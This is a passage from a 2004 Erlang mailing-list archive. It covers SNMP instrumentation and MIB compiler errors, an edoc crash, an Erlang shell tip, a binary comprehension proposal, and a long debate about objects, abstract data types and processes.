So, if I got it right any snmp-get-request causes a call to instrumenation:mibversion(get) ???? Yes ! (?) The valid return value for such an instrumentation function would be {value,"Version-1.0") for example ?? So, instead of asking the database I should be able to it as i did ?? But why do I get : User error: Got {'EXIT',{undef,[{instrumentation,mibversion,[get]},{snmp_agent,try_get_instance,2},{snmp_agent,next_loop_varbinds,5},{snmp_agent,process_pdu,4},{snmp_agent,handle_pdu,7},{snmp_agent,handle_info,2},{gen_server,handle_msg,6},{proc_lib,init_p,5}]}} from {instrumentation,mibversion,[]}. ({asn1_type,'INTEGER',undefined,undefined,[{enums,[{inactive,2},{active,1}]}],true,'INTEGER',false}) Using genErr How would such an instrumenation function look like if i use a database query ? Can I use Mnemosyne ? Any moer hints about SNMP under Erlang would be appreciated ! Thanks in advance ! Dietmar From joe@REDACTED Thu Aug 12 14:39:31 2004 From: joe@REDACTED (Joe Armstrong) Date: Thu, 12 Aug 2004 14:39:31 +0200 (CEST) Subject: Erlang hints from an CO junkie In-Reply-To: References: Message-ID: On Thu, 12 Aug 2004, Vlad Balin wrote: >>> Well, from the design point of view, you're describing OO >> approach in terms >>> of Alan Key. >>> "Objects are the base building blocks, objects has the state, objects >>> communicate >>> with each other using messages." See citate below. >> >> I don't really understand this kind of statement. >> >> 1) In OO design you must identify the different objects involved >> 2) In CO design you must identify the different concurrency >> patterns involved >> >> 1) in not the same as 2) > > On a high level of your design you use processes as a unit of encapsulation. > Just substitute 'object' with 'process'. What about concurrency, the > semantic > of 'objects' according to Key imply concurrent message processing. Key > even use the 'protocol' term to describe an object interface - very close to > the things you're saying. Wait a moment - in my last posting I did not talk about encapsulation at all. In Erlang there are two ways to encapsulate things. - hide the things in a process and access then through a defined protocol - hide the things in an abstract data type and access through function calls again deciding which method to use is part of the design process > > Differens is only in terms. Your explanation implies that there's no > difference > between object and process. Uuuggghhh To illustrate the difference, you could provide > an example when 'concurrency pattern' is _not_ the unit of encapsulation, > but > you clearly stated that it always _is_. I don't understand this >> I also dislike this "everything is an object" way of thinking. > I also dislike this way of thinking. But this is an ideology of Smalltalk > only. > You obviously don't have to make everything an object to use OO paradigm. > >> As for the idea of bundling together data structures and methods into >> the same unit of abstract and calling this an object is even sillier. > I can't understand it. Could comment more on this? Yes - data structure are passive, they just are. You can describe them declaratively. Functions are active they do things to data structures. For a given data structure (say a string) there is a vast (unlimited?) number of things you could do with it. Trying to isolate a small number of these things and packing them into a "string object" seems silly to me. Imagine a library. There are two types of books in a library Dictionaries - which define what words mean Non-dictionaries - which use the words in the dictionaries Now suppose the words in the books were all objects. Now would we describe the car object. If we have to include car methods in the definition the definition of a car would be enormous. The car object would not only the definition car: "tin box to transport people and things" but would have to include all uses of car, in all the other books in the library. IMHO it's much better to have a data dictionary that defines all the data structures to be used - these should be describe declaratively with examples. Then there should be sets of functions that work on these data types. > First, you just suggested to do so when using processes as encapsulation > units, > which are accessiblie via the defined protocol only, and implementation > (with > underlying data structures) is hidden. Sending message is almost equivalent > to > calling a method. No it's not. Calling a method is synchronous - you suspend until you get a return value. Sending a message is asynchronous, you send the message and continue. > > Second, you (I guess) consider using of Erlang behaviours as good practice. > This is another example of abstract data types application. > Almost. Behaviours are a lot more than ADTs. ADTs should (IMHO) be side-effect free, referentially transparent etc. Behaviours encapsulate a lot more than just functional behaviour. For example the OTP application behaviour could in no way be considered an ADT. A behaviour should capture "a behaviour" ie how the system behaves when something happens, behaviours are usually chunk of generic code which are parameterised with a number of callback functions. This is very different to typical ADT type code. > And third, Erlang standard library contains a lot of examples of binding > 'methods' and > 'structures' together. queue, gbtree, sets, etc. > It's normal to access wierd data structures like Okasaki's queue > throung the abstract function's interface, cause it'll simplify the things. > You disagree? Of course not > >> In my way of thinking we can model things using the following >> things. >> >> a) Pure data structures (described by types) >> b) Pure functions which transform data structures into different >> data structures >> c) Processes. Processes are little virtual machines. They have state >> (state is just some class (a) data). You can send them >> messages (messages >> are class (a) data structures). They might respond with messages. >> They are independent - if they crash no other processes should be >> affected. > Ok. >> Data structures (a's), functions (b's) and processes (c's) are all >> fundamentally different types of things - they should not be mangled >> together and called objects. > Ok, we'll never call them 'objects' :). Does it change anything? > An idea behind 'objects' is to hide an implementation details upon an > abstract > interface of a set of functions (messaging protocol). > > That's exactly what _you_ do when you > 1) Define interface to Okasaki Queue using (b) class thing (pure functions). > 2) Create an abstraction of a City using (c) class thing (process). You also > mentioned that City process can spawn 1000 processes to model houses. Fine, > you can think of them (I know you'll consider it wierd :), but...) as > 'aggregated > objects(processes)', since they are not visible to the user of the City > process. > What you did? You created an abstraction for City, with implementation > details > hidden; _this_ is called object, or 'abstract data type' instance, or > whatever you > like. Well I don't use the word object. To me a process is a statefull thing which has it's own thread of control and which can communicate with other things by sending and receiving messages it also has complex behaviour in the presence of errors. Then there are data structures and functions which act on data structures these can be conveniently combined into modules to provide abstract data types. > > P. S.: Our messages tends to be quite long, :) so I'm going to answer to the > second > part later. > > Sincerely yours, > Vlad Balin. > /Joe From tomas.pihl@REDACTED Thu Aug 12 15:23:04 2004 From: tomas.pihl@REDACTED (Tomas Pihl (AL/EAB)) Date: Thu, 12 Aug 2004 15:23:04 +0200 Subject: SNMP stuff Message-ID: <342C4681F0D4A04CA50A97D74DA8FB9A0C41C8DB@esealnt875.al.sw.ericsson.se> > Hi ! > > > Some (much) more questions concerning SNMP and Erlang. Have a look in the User's Guide. There you'll find some examples. http://www.erlang.org/doc/r9c/lib/snmp-3.4/doc/html/snmp_implementation.html#6 /topi From anygren@REDACTED Thu Aug 12 16:04:14 2004 From: anygren@REDACTED (anygren@REDACTED) Date: Thu, 12 Aug 2004 09:04:14 -0500 Subject: SNMPp: problems compiling MIBs Message-ID: <1092319454.411b78de8ed8a@mail.ciateq.mx> Hi I can not compile the attached MIB. I get PEM-STANDARD.mib: Error: 'probableCause' missing in OBJECT-GROUP PEM-STANDARD.mib: Error: 'eventTypePem' missing in OBJECT-GROUP PEM-STANDARD.mib: Error: 'eventTime' missing in OBJECT-GROUP PEM-STANDARD.mib: Error: 'perceivedSeverity' missing in OBJECT-GROUP PEM-STANDARD.mib: Error: 'sequenceNumber' missing in OBJECT-GROUP PEM-STANDARD.mib: Error: 'managedObjectInstance' missing in OBJECT-GROUP PEM-STANDARD.mib: Error: 'managedObjectClass' missing in OBJECT-GROUP compilation_failedanders@REDACTED:~/src/test/EDA 2.0 MIBs> I can not figure out what 'OBJECT-GROUP' is the compiler complaining about. /Anders Nygren ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ -------------- next part -------------- A non-text attachment was scrubbed... Name: PEM-STANDARD.mib Type: application/octet-stream Size: 3642 bytes Desc: not available URL: From anygren@REDACTED Thu Aug 12 16:15:08 2004 From: anygren@REDACTED (anygren@REDACTED) Date: Thu, 12 Aug 2004 09:15:08 -0500 Subject: More SNMP compiler problems Message-ID: <1092320108.411b7b6cdd7f6@mail.ciateq.mx> Hi I am trying to compile a number of mibs using snmp:c, and am getting some errors that I can't figure out what to do about. Compiling ENTITY-MIB i get the following errors. >erlc ENTITY-MIB-rfc2737.mib ENTITY-MIB-rfc2737.mib: Error: Invalid status of group member deprecated in group 1147. Group status is entLogicalDescr and member status is mandatory (should be deprecated or current) ENTITY-MIB-rfc2737.mib: Error: Invalid status of group member deprecated in group 1147. Group status is entLogicalType and member status is mandatory (should be deprecated or current) ENTITY-MIB-rfc2737.mib: Error: Invalid status of group member deprecated in group 1147. Group status is entLogicalTAddress and member status is mandatory (should be deprecated or current) ENTITY-MIB-rfc2737.mib: Error: Invalid status of group member deprecated in group 1147. Group status is entLogicalTDomain and member status is mandatory (should be deprecated or current) ENTITY-MIB-rfc2737.mib: Error: Mibname (ENTITY-MIB) differs from filename (ENTITY-MIB-rfc2737). compilation_failed> I have had similar problems with some other MIBs that had 'deprecated' content. I fixed some by removing the deprecated stuff and hoping for the best but I would prefer to understand what I am doing. There is also a bug in the mib compiler: in the error printouts shown above the status and member name are swapped. /Anders Nygren ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From mikael.karlsson@REDACTED Thu Aug 12 16:23:45 2004 From: mikael.karlsson@REDACTED (Mikael Karlsson) Date: Thu, 12 Aug 2004 16:23:45 +0200 Subject: edoc crashes Message-ID: <200408121623.45488.mikael.karlsson@creado.com> Hi, edoc crashes when it encounters a line: -define( white(X), X == ?SPACE ; X == ?NEWLINE ; X == ?TAB ; X == ?RETURN ). in an .erl file. /Mikael From richardc@REDACTED Thu Aug 12 16:54:41 2004 From: richardc@REDACTED (Richard Carlsson) Date: Thu, 12 Aug 2004 16:54:41 +0200 (MEST) Subject: edoc crashes In-Reply-To: <200408121623.45488.mikael.karlsson@creado.com> References: <200408121623.45488.mikael.karlsson@creado.com> Message-ID: On Thu, 12 Aug 2004, Mikael Karlsson wrote: > edoc crashes when it encounters a line: > > -define( white(X), X == ?SPACE ; X == ?NEWLINE ; X == ?TAB ; X == ?RETURN ). > > in an .erl file. The default behaviour of EDoc can only handle defines that look like normal expressions. The semicolons break this property. Try turning on the preprocess option, as in: edoc:file("foo.erl", [preprocess]) but then you may have to also add the following options: {includes, [Dir1, Dir2, ...]} {macros, [{Atom1,Value1},{Atom2,Value2}, ...]} /Richard Richard Carlsson (richardc@REDACTED) (This space intentionally left blank.) E-mail: Richard.Carlsson@REDACTED WWW: http://user.it.uu.se/~richardc/ "Having users is like optimization: the wise course is to delay it." -- Paul Graham From thomasl_erlang@REDACTED Thu Aug 12 17:36:29 2004 From: thomasl_erlang@REDACTED (Thomas Lindgren) Date: Thu, 12 Aug 2004 08:36:29 -0700 (PDT) Subject: Erlang hints from an CO junkie In-Reply-To: Message-ID: <20040812153629.93390.qmail@web41901.mail.yahoo.com> --- Vlad Balin wrote: [Joe:] > > As for the idea of bundling together data > structures and methods into > > the same unit of abstract and calling this an > object is even sillier. ... [Vlad:] > Second, you (I guess) consider using of Erlang > behaviours as good practice. > This is another example of abstract data types > application. > > And third, Erlang standard library contains a lot of > examples of binding > 'methods' and > 'structures' together. queue, gbtree, sets, etc. But abstract datatypes =/= objects. Objects have state, identity and associated methods, while ADTs are collections of functions that operate on and encapsulate concrete data (and where the implementation perhaps satisfies some laws formulated on the ADT). Certainly objects and ADTs do share some properties, such as encapsulation; this is not so strange, because these are desirable properties for structuring software. But that doesn't make the two techniques the same. Best, Thomas __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - 100MB free storage! http://promotions.yahoo.com/new_mail From igouy2@REDACTED Thu Aug 12 17:56:55 2004 From: igouy2@REDACTED (Isaac Gouy) Date: Thu, 12 Aug 2004 08:56:55 -0700 (PDT) Subject: Erlang hints from an CO junkie In-Reply-To: Message-ID: <20040812155655.79490.qmail@web60508.mail.yahoo.com> > > And safety? "Strong types are for weak minds." :-) > > ... we don't have difficulty with "typing" in real life -- it > is rare to pop the dog in the oven or take a pizza for a walk ... > - Chris Uppal There's bound-to-be someone who named their dog "pizza" and had a literally minded helper who made the wrong choice. __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From enewhuis@REDACTED Thu Aug 12 18:33:08 2004 From: enewhuis@REDACTED (Eric Newhuis) Date: Thu, 12 Aug 2004 11:33:08 -0500 Subject: Erlang hints from an CO junkie In-Reply-To: <20040812155655.79490.qmail@web60508.mail.yahoo.com> Message-ID: >> ... we don't have difficulty with "typing" in real life -- it >> is rare to pop the dog in the oven or take a pizza for a walk ... >> - Chris Uppal Hmm. This got me thinking. We don't do the above because we are using all of our powers of perception and analysis while we are doing those things. It is all very high bandwidth and there is a great deal of runtime type information entering our brain. In coding, however, I am usually half asleep so I need reinforcements. Moreover it is not common while walking one's dog that it suddenly change itself into a pizza whereas this can occur in software. From richardc@REDACTED Thu Aug 12 19:05:25 2004 From: richardc@REDACTED (Richard Carlsson) Date: Thu, 12 Aug 2004 19:05:25 +0200 (MEST) Subject: Tip of the day In-Reply-To: <410DED20.9020400@erlang-consulting.com> References: <410DED20.9020400@erlang-consulting.com> Message-ID: Put the following in your user_default.erl ----cut here---- -module(user_default). -compile(export_all). ok(T) when tuple(T), size(T) >= 2, element(1, T) == ok -> element(2, T); ok(E) -> erlang:fault({not_ok, E}). ok2(T) when tuple(T), size(T) >= 3, element(1, T) == ok -> element(3, T); ok2(E) -> erlang:fault({not_ok, E}). ok3(T) when tuple(T), size(T) >= 4, element(1, T) == ok -> element(4, T); ok3(E) -> erlang:fault({not_ok, E}). ----cut here---- and add the lines code:add_path("...path-to-my-user-default/ebin"). code:ensure_loaded(user_default). to your ~/.erlang file. Then you can use these functions in the Erlang shell, like this: Eshell V5.4 (abort with ^G) 1> File = ok(file:open("myfile",[read])). <0.40.0> 2> file:close(File). or 3> ok(erl_parse:parse_term(ok(erl_scan:string("[1,2,3].")))). [1,2,3] 4> No more matching on {ok, ...}. (Works for tuples of any size > 1.) /Richard Richard Carlsson (richardc@REDACTED) (This space intentionally left blank.) E-mail: Richard.Carlsson@REDACTED WWW: http://user.it.uu.se/~richardc/ "Having users is like optimization: the wise course is to delay it." -- Paul Graham From vlad@REDACTED Thu Aug 12 19:25:03 2004 From: vlad@REDACTED (Vlad Balin) Date: Thu, 12 Aug 2004 21:25:03 +0400 Subject: Erlang hints from an CO junkie In-Reply-To: <20040812153629.93390.qmail@web41901.mail.yahoo.com> Message-ID: > But abstract datatypes =/= objects. Objects have > state, identity and associated methods, while ADTs are > collections of functions that operate on and > encapsulate concrete data (and where the > implementation perhaps satisfies some laws formulated > on the ADT). Looking very strange to me. Lets dig into definitions. The world-known OOP definition consist of 3 properties: 1) encapsulation 2) polimorphism 3) inheritance. ADT is all about 1 item. How do you call ADT (class) or ADT instance (object) is not specified. 2 property in particular (but not only) means that you must be able to define generic functions working with any ADT conforming specified interface, in other words it state that ADT instance must have a _value_, so you could pass it as a parameter to a function. Nothing is said about associated _methods_ - this is just one of the names for ADT functions. In some terms ADT interface functions are 'associated' with an instance - yes, because in other case you will not be able to define generic function on it (it receives only the _value_!). This is the main issue. Here is nothing said about identity and state in definition. And it's correct, because these properties conflict with referential transparency and in this case functional languages cannot satisfy OOP definition at all. I believe an 'object' is quite common and general term for an ADT instance with _associated_ operations (which sometimes called 'methods' and 'messages'). Yes, some _implementations_ may add more specific properties to objects such as state and identity, but terms 'class' and 'object' (class instance) has became quite common in whole context of OOP and can be hardly associated with a particular langugae now. > Certainly objects and ADTs do share some properties, > such as encapsulation; this is not so strange, because > these are desirable properties for structuring > software. But that doesn't make the two techniques the > same. Could you give a reference to the definition of object you operating with? Thanks, Vlad Balin. From cpressey@REDACTED Thu Aug 12 20:10:11 2004 From: cpressey@REDACTED (Chris Pressey) Date: Thu, 12 Aug 2004 11:10:11 -0700 Subject: Erlang hints from an CO junkie In-Reply-To: References: <20040811191805.17240.qmail@web41901.mail.yahoo.com> Message-ID: <20040812111011.557d7913.cpressey@catseye.mine.nu> On Thu, 12 Aug 2004 10:42:56 +0200 (CEST) Joe Armstrong wrote: > > And safety? "Strong types are for weak minds." :-) > > > ... we don't have difficulty with "typing" in real life -- it > is rare to pop the dog in the oven or take a pizza for a walk ... > > - Chris Uppal > > /Joe Strong typing: Heavens! It's unthinkable to put a dog in an oven! Weak typing: I was just about to put the dog in the oven when I realized that the oven might not appreciate that... :D -Chris From matthias@REDACTED Thu Aug 12 20:26:43 2004 From: matthias@REDACTED (Matthias Lang) Date: Thu, 12 Aug 2004 20:26:43 +0200 Subject: Erlang hints from an CO junkie In-Reply-To: References: <20040812153629.93390.qmail@web41901.mail.yahoo.com> Message-ID: <16667.46691.460814.14591@antilipe.corelatus.se> Vlad Balin writes: > Lets dig into definitions. The world-known OOP > definition consist of 3 properties: > 1) encapsulation > 2) polimorphism > 3) inheritance. [...] > Could you give a reference to the definition of object > you operating with? Here's what Grady Booch says: An object has state, behavior, and identity; the structure and behavior of similar objects are defined in their common class; the terms instance and object are interchangeable or here's what Rumbaugh says We define an object as a concept, abstraction or thing with crisp boundaries and meaning for the problem at hand. Including the word "crisp" doesn't make it any less vague... That's the nice thing about objects. There are so many different definitions to choose from that you can use it to mean pretty much anything at all. Matthias (recycled from last year) From enewhuis@REDACTED Thu Aug 12 21:12:36 2004 From: enewhuis@REDACTED (Eric Newhuis) Date: Thu, 12 Aug 2004 14:12:36 -0500 Subject: Erlang hints from an CO junkie In-Reply-To: <16667.46691.460814.14591@antilipe.corelatus.se> Message-ID: so many different > definitions to choose from that you can use it to mean pretty much > anything at all. just like .NET From thomasl_erlang@REDACTED Thu Aug 12 21:38:34 2004 From: thomasl_erlang@REDACTED (Thomas Lindgren) Date: Thu, 12 Aug 2004 12:38:34 -0700 (PDT) Subject: Erlang hints from an CO junkie In-Reply-To: Message-ID: <20040812193834.89913.qmail@web41901.mail.yahoo.com> --- Vlad Balin wrote: > > But abstract datatypes =/= objects. Objects have > > state, identity and associated methods, while ADTs > are > > collections of functions that operate on and > > encapsulate concrete data (and where the > > implementation perhaps satisfies some laws > formulated > > on the ADT). > Looking very strange to me. > Lets dig into definitions. The world-known OOP > definition consist of 3 properties: > 1) encapsulation > 2) polimorphism > 3) inheritance. ... > 2 property in particular (but not only) means that > you must be able to define generic functions working > > with any ADT conforming specified interface, in > other > words it state that ADT instance must have a > _value_, > so you could pass it as a parameter to a function. > > Nothing is said about associated _methods_ - this is > > just one of the names for ADT functions. Not at all. One of the concrete differences between abstract data types and objects is that methods are associated with the object itself, while in an ADT they are not. (OO proponents often consider this is an advantage of OO.) If you just happen across a Smalltalk object, you can try to send it messages. Perhaps you can inspect the object and see what messages it accepts. If you instead are handed an Erlang term, there are no programmer-defined, inherently associated operations connected to it (let's ignore funs for now, and maybe PIDs too). In particular, ADT operations only appear in the program code, which is separate from the data. That's a clear difference to me. There are other differences as well. One of the programming idioms that OO wanted to get rid of was switching over types or patterns. So, what would in a tree ADT look like lookup({node, K, V, Left, Right}) -> ... lookup(leaf) -> ... would instead in OO become classes 'node' and 'leaf' with an associated method 'lookup'. (Perhaps more efficient idioms are used today, but that's not the point.) Furthermore, there's also the whole idea of proving properties about the ADT _operations_. And finally the lack of state and identity of data, if we are talking about pure functional languages. > In some > terms > ADT interface functions are 'associated' with an > instance - > yes, because in other case you will not be able to > define > generic function on it (it receives only the > _value_!). > This is the main issue. Sorry, I'm afraid I don't follow you. > Here is nothing said about identity and state in > definition. ... (big snip) ... > Yes, some _implementations_ may add more specific > properties to objects such as state and identity, > but > terms 'class' and 'object' (class instance) has > became > quite common in whole context of OOP and can be > hardly associated with a particular langugae now. Grady Booch told us an object has state, behaviour and identity in 1991. This seems to be an accepted truth in the OO community, as far as I can tell. > Could you give a reference to the definition of > object you operating with? Objects as defined in Smalltalk, C++ or Java. Perhaps Smalltalk is the best example here. (Common Lisp and SELF muddy the waters, so I'll leave them out.) Finally, here are a couple of references on ADTs, esp. for functional languages. Guttag's paper Or Bird and Wadler's book on functional programming. Allen's ANATOMY OF LISP introduced me to the concept, though his is not a very explicit discussion. Well, that's enough for this time. Hope it helped. Best, Thomas __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - Send 10MB messages! http://promotions.yahoo.com/new_mail From vlad@REDACTED Thu Aug 12 22:11:21 2004 From: vlad@REDACTED (Vlad Balin) Date: Fri, 13 Aug 2004 00:11:21 +0400 Subject: Erlang hints from an CO junkie In-Reply-To: Message-ID: > Wait a moment - in my last posting I did not talk about > encapsulation at all. To be correct - yes, in last posting you didn't. But I'm maintaining the context of our discussion :) : > Suppose we have a town with a thousand houses - suppose we say this > is a static town (ie we decide that there will be no new houses, no > houses will be changed) - this I'd model using a single town process. > Now internally the town process might spawn off 1000 house process, it > might stick everything into a big ets table or use a dictionary - who > cares. The important bit is that the user only sees the protocol (ie > the messages) between the application and the town process and not any > internal details of *how* the town process is implemented. The last sentense here about "important bit". That's about encapsulation. What actually make our points of view different, is: I suppose object = ADT instance (product of encapsulation). For some reason you aren't share this point of view. This is phylosophic quiestion. > In Erlang there are two ways to encapsulate things. > > - hide the things in a process and access then through a defined > protocol > - hide the things in an abstract data type and access through > function calls > > again deciding which method to use is part of the design process Yes, in my terms - difference is that in one case you're using "imperative" ADT, in other case "functionally clean", without side effects. You suggested to perform high-level design in imperative style, taking the natural consurrency in consideration. I understand what you saying, just noted that there's much common with OO approach in terms of Alan key. If not equivalent. Probably, if you will think of processes as the "large" objects with state, processing "messages" it will greately simplify the task of founding "concurrency patterns" you're talking about. Cause an "objects" is conceptually the unit of concurrency according to Key. Just look at it from another side. > > Differens is only in terms. Your explanation implies that there's no > > difference > > between object and process. > Uuuggghhh Aha :) Remember - I suppose that "object" = "encapsulation unit". I assume that encapsulation is an only relevant object's property. Not too much to be actually pity about :) > To illustrate the difference, you could provide > > an example when 'concurrency pattern' is _not_ the unit of > encapsulation, > > but > > you clearly stated that it always _is_. > > I don't understand this Ok, forget it :) We're discussing the meaning of the terms here. > For a given data structure (say a string) there is a vast (unlimited?) > number of things you could do with it. Trying to isolate a small number > of these things and packing them into a "string object" seems silly to me. [skipped] Forced to agree, you've found very bad and unnatural example to illustrate an essense of OO. Smalltalk is such a language where everything is an object, yes. It's not natural to send a message to a string, right, but there's just no another way in Smalltalk to represent the string. The language is conceptually simple (which is good), and we just paying for this simplicity. >From the other hand, string object from STL (C++) is an excellent example of OO practice. Suppose you want to capitalize letters in the string. If you going to find corresponding method in std::string, you are wrong. You will not find it. Because string expose only an iterator interface, like generic container, which doesn't depend on string implementation. _This_ is the right way to represent the string object. What you have to do, is to apply _generic_ algorithm "transform" (working on all container types!) and use scalar function toupper( char ). Beutiful. Natural. Clever. And string is still an object. [skipped the "ping-pong"] > > What you did? You created an abstraction for City, with implementation > > details > > hidden; _this_ is called object, or 'abstract data type' instance, or > > whatever you > > like. > > Well I don't use the word object. > > To me a process is a statefull thing which has it's own thread of > control and which can communicate with other things by sending and > receiving messages it also has complex behaviour in the presence of > errors. > > Then there are data structures and functions which act on data > structures these can be conveniently combined into modules to provide > abstract data types. As I said, the main problem is that we're using different terminology. :) But after "translation" it looks like we actually share opinion on main topics. Thanks a lot, Vlad Balin. From igouy2@REDACTED Thu Aug 12 22:21:05 2004 From: igouy2@REDACTED (Isaac Gouy) Date: Thu, 12 Aug 2004 13:21:05 -0700 (PDT) Subject: Erlang hints from an CO junkie In-Reply-To: <20040812111011.557d7913.cpressey@catseye.mine.nu> Message-ID: <20040812202105.45559.qmail@web60507.mail.yahoo.com> > Strong typing: Heavens! It's unthinkable to put a dog in an oven! > Weak typing: I was just about to put the dog in the oven when I > realized that the oven might not appreciate that... Static check: The laws of the universe prevent a dog being in an oven. Runtime check: Fail, there was an attempt to put a dog in an oven. __________________________________ Do you Yahoo!? Yahoo! Mail - Helps protect you from nasty viruses. http://promotions.yahoo.com/new_mail From vlad@REDACTED Thu Aug 12 22:47:40 2004 From: vlad@REDACTED (Vlad Balin) Date: Fri, 13 Aug 2004 00:47:40 +0400 Subject: Erlang hints from an CO junkie In-Reply-To: <20040812193834.89913.qmail@web41901.mail.yahoo.com> Message-ID: > > just one of the names for ADT functions. > > Not at all. One of the concrete differences between > abstract data types and objects is that methods are > associated with the object itself, while in an ADT > they are not. (OO proponents often consider this is an > advantage of OO.) Not at all. :) See the next answer. > > In some > > terms > > ADT interface functions are 'associated' with an > > instance - > > yes, because in other case you will not be able to > > define > > generic function on it (it receives only the > > _value_!). > > This is the main issue. > > Sorry, I'm afraid I don't follow you. Thats why you don't understand. Again, try to define function accepting an instance of abstract data type, (which, I remember you, is defined by the set of operations _only_, you cannot directly access internals). And suppose you have 2 different implementation of the same ADT. There's no principal reasons not to do so, in other case it's not quite 'abstract'. You pass your ADT instances as a parameter to this function. Since ADT is defined by the set of operations _only_, I would expect function to work properly for both instances, i. e. that function will not notice the difference - operations are the same, so type should be the same too! But it _will_ work properly _only_ in case, if operations will be _associated_ with ADT instance. Look how ADT implemented in Haskell, as I can remember that is exactly such a case. In other case (if you refuse writing generic functions) this question (are functions associated with instances or not) is _academic_ and doesn't make sense at all, because in any case you will not notice any effective difference between these two cases. So from my side I don't understand where's the reason for discussion on this topic. > > Here is nothing said about identity and state in > > definition. > ... (big snip) ... > > Yes, some _implementations_ may add more specific > > properties to objects such as state and identity, > > but > > terms 'class' and 'object' (class instance) has > > became > > quite common in whole context of OOP and can be > > hardly associated with a particular langugae now. > Grady Booch told us an object has state, behaviour and > identity in 1991. This seems to be an accepted truth > in the OO community, as far as I can tell. Ok. I see. Open OCaml manual, OO section. Lets see did they accepted it or not. My impression is that 'object' is so general, popular and intuitive term that the most developers I seen feeling free to use it without consultation with Mr. Booch. :) So I would be very careful to talk about the community. From cpressey@REDACTED Thu Aug 12 23:50:01 2004 From: cpressey@REDACTED (Chris Pressey) Date: Thu, 12 Aug 2004 14:50:01 -0700 Subject: Erlang hints from an CO junkie In-Reply-To: References: <20040812193834.89913.qmail@web41901.mail.yahoo.com> Message-ID: <20040812145001.561b8592.cpressey@catseye.mine.nu> On Fri, 13 Aug 2004 00:47:40 +0400 "Vlad Balin" wrote: > And suppose you have 2 different implementation of the same > ADT. There's no principal reasons not to do so, in other > case it's not quite 'abstract'. You pass your ADT instances > as a parameter to this function. > > Since ADT is defined by the set of operations _only_, I would > expect function to work properly for both instances, i. e. that > function will not notice the difference - operations are the same, > so type should be the same too! > But it _will_ work properly _only_ in case, if operations will > be _associated_ with ADT instance. I have to agree with that. Perhaps it's been said, but one way to look at it is: object = ADT + identity + state process = object + concurrency An object might not have identity or state, depending on the implementation; but then again, a bear might not have arms or legs... is it not still a bear? Maybe better would be to say: ADT = object - (identity + state) Obviously both ADT's and objects have encapsulation. Inheritance is probably moot here; you could say a Reversible Stack ADT IS-A Stack ADT, it's just that very few people do. Polymorphism is probably also moot. If all the operations which apply to a Stack also apply to a Reversible Stack, then those operations are polymorphic, and if they don't, then they aren't. It seems to depend completely on just how tightly you want the operations to be associated with the ADT. So I think the differences between all these things are pretty minor (which is sort of implied by the term "-oriented": there's a reason we don't use terms like "imperative-oriented" or "functional-oriented" to describe languages) -Chris From mlogan@REDACTED Thu Aug 12 23:50:32 2004 From: mlogan@REDACTED (Martin J. Logan) Date: 12 Aug 2004 16:50:32 -0500 Subject: Erlang hints from an CO junkie In-Reply-To: <20040812202105.45559.qmail@web60507.mail.yahoo.com> References: <20040812202105.45559.qmail@web60507.mail.yahoo.com> Message-ID: <1092347431.2094.243.camel@dhcp-lom-194-186.futuresource.com> I enjoy a good dog every once in a while. On Thu, 2004-08-12 at 15:21, Isaac Gouy wrote: > > Strong typing: Heavens! It's unthinkable to put a dog in an oven! > > Weak typing: I was just about to put the dog in the oven when I > > realized that the oven might not appreciate that... > > Static check: The laws of the universe prevent a dog being in an oven. > > Runtime check: Fail, there was an attempt to put a dog in an oven. > > > > __________________________________ > Do you Yahoo!? > Yahoo! Mail - Helps protect you from nasty viruses. > http://promotions.yahoo.com/new_mail From igouy2@REDACTED Fri Aug 13 01:44:34 2004 From: igouy2@REDACTED (Isaac Gouy) Date: Thu, 12 Aug 2004 16:44:34 -0700 (PDT) Subject: Erlang hints from an CO junkie In-Reply-To: <1092347431.2094.243.camel@dhcp-lom-194-186.futuresource.com> Message-ID: <20040812234434.90430.qmail@web60507.mail.yahoo.com> > I enjoy a good dog every once in a while. Hot dogs are the most understandable reason for going to a Baseball game. > > Static check: The laws of the universe prevent a dog being in an > > oven. > > Runtime check: Fail, there was an attempt to put a dog in an oven. The wonder of software is that we can define a universe where you can have chow and a universe where the kids cannot incinerate the pooch. __________________________________ Do you Yahoo!? Yahoo! Mail - You care about security. So do we. http://promotions.yahoo.com/new_mail From jay@REDACTED Fri Aug 13 02:43:35 2004 From: jay@REDACTED (Jay Nelson) Date: Thu, 12 Aug 2004 17:43:35 -0700 Subject: Binary comprehensions Message-ID: <411C0EB7.5060306@duomark.com> Has anyone requested binary comprehensions? Something like the following: {ok, FileInput} = file:read_file("example.txt"), Lowercase = << downcase(Char) || Char <- FileInput >>, Printables = << R || R <- Lowercase, R > 32 >>, HexNybbles = << integer(Byte) || Byte:4/binary <- FileInput >>, Inverse = << flip(Bit) || Bit:1/binary <- FileInput >>, ... Has the following restriction been lifted? |Size| must be an integer literal, or a previously bound variable. Note that the following is not allowed: foo(N, <>) -> {X,T}. From ok@REDACTED Fri Aug 13 05:54:20 2004 From: ok@REDACTED (Richard A. O'Keefe) Date: Fri, 13 Aug 2004 15:54:20 +1200 (NZST) Subject: Erlang hints from an CO junkie Message-ID: <200408130354.i7D3sK4q275875@atlas.otago.ac.nz> "Vlad Balin" wrote: Yes, in my terms - difference is that in one case you're using "imperative" ADT, in other case "functionally clean", without side effects. You suggested to perform high-level design in imperative style, taking the natural consurrency in consideration. I understand what you saying, just noted that there's much common with OO approach in terms of Alan key. I'm getting a bit tired of seeing Alan Kay's name spelled with an "e". It's KAY, not KEY. For what it's worth, Smalltalk, including the Squeak and Croquet systems on which Alan Kay has most recently worked, does *not* really handle concurrency via OO. Processes are objects, and pid := [.....block of code....] fork. is the way to make one. This is NOT integrated with message sending in any interesting way; all Process objects have the same protocol, which has more in common with Java threads than one might expect. Smalltalk Processes communicate via shared mutable objects protected using Semaphore objects; perhaps the simplest kind of shared mutable object to use is a SharedQueue which is pretty much a classic unbounded buffer. So a Smalltalk collection of Processes reading messages from SharedQueues and sending messages to other processes via SharedQueues could look a whole lot like an Erlang collection of Processes. Another important point is that if you combine - processes which do computations using - a pure functional programming language - and message sends to other processes then the potential for things that look like mutable variables is inescapable. This happens in CCS, CSP, and the (few) related formalisms that I am familiar with: once you can do var := receive then var(X) var(X) := receive then var(Y) or receive then send to Pid then var(X) then you have something practically indistinguishable from an imperative variable. If you want a solution that doesn't involve something that looks like mutable state encapsulated in processes (even though it isn't technically mutable), then you have to ban processes. This 